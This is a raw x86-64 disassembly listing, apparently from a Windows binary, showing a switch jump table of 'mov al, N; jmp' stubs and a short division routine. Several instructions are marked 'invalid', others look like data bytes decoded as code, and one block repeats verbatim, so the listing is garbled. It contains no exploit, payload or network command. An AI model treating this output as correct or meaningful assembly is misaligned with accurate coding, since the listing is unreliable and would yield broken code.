add dword [rax - 0x758514fc], esi
jp 0x1400295d1
mov al, byte [rdx + 1]
add dword [rbp - 0x49f003b8], ecx
leave
lea ecx, [rax - 4]
movzx ecx, cl
mov dh, 0xc9
mov dh, 0xc9
cmp cl, 0x13
mov edx, 0x13
add byte [rax], al
adc edi, dword [rdx + 0x13]
add byte [rax], al
cmovb edx, ecx
movzx ecx, dl
ror dword [rdi], 1
mov dh, 0xca
lea rdx, [0x140109c30]
movsxd rcx, dword [rdx + rcx*4]
invalid
or al, 0x8a
add eax, 0x6348000e
or al, 0x8a
invalid
add rcx, rdx
add ecx, edx
jmp rcx
mov al, 4
jmp case.0x14002966b.19
mov al, 6
jmp 0x1400296c0
mov al, 5
jmp case.0x14002966b.19
mov al, 6
jmp case.0x14002966b.19
mov al, 7
jmp case.0x14002966b.19
mov al, 8
jmp case.0x14002966b.19
mov al, 9
jmp case.0x14002966b.19
mov al, 0xa
jmp case.0x14002966b.19
mov al, 0xb
jmp case.0x14002966b.19
mov al, 0xc
jmp case.0x14002966b.19
mov al, 0xd
jmp case.0x14002966b.19
mov al, 0xe
jmp case.0x14002966b.19
mov al, 0xf
jmp case.0x14002966b.19
mov al, 0x10
jmp case.0x14002966b.19
mov al, 0x11
jmp case.0x14002966b.19
mov al, 0x12
jmp case.0x14002966b.19
mov al, 0x13
jmp case.0x14002966b.19
mov al, 0x14
jmp case.0x14002966b.19
mov al, 0x15
jmp case.0x14002966b.19
adc eax, 0x16b002eb
mov al, 0x16
mov byte [rsi + 1], al
mov al, 5
mov byte [rsi], al
add rsp, 0x20
pop rsi
ret
cmp eax, edx
jae 0x1400296d8
cmp byte [rcx + r8], 0xbf
jg 0x1400296da
ud2
jne 0x1400296d4
mov rax, rcx
mov rdx, r8
mov edx, eax
mov edx, eax
ret
mov eax, 0xe10
mov eax, ecx
xor edx, edx
div r8d
mov r8d, 0xc
xor edx, edx
rol byte [rcx - 9], cl
invalid
test edx, edx
cmove edx, r8d
rol byte [rcx + 0xa8c0f9], 1
add byte [rdi], cl
xchg ebx, eax
invalid
ret
rol byte [rcx - 9], cl
invalid
rol byte [rcx + 0xa8c0f9], 1
add byte [rdi], cl
xchg ebx, eax
invalid
ret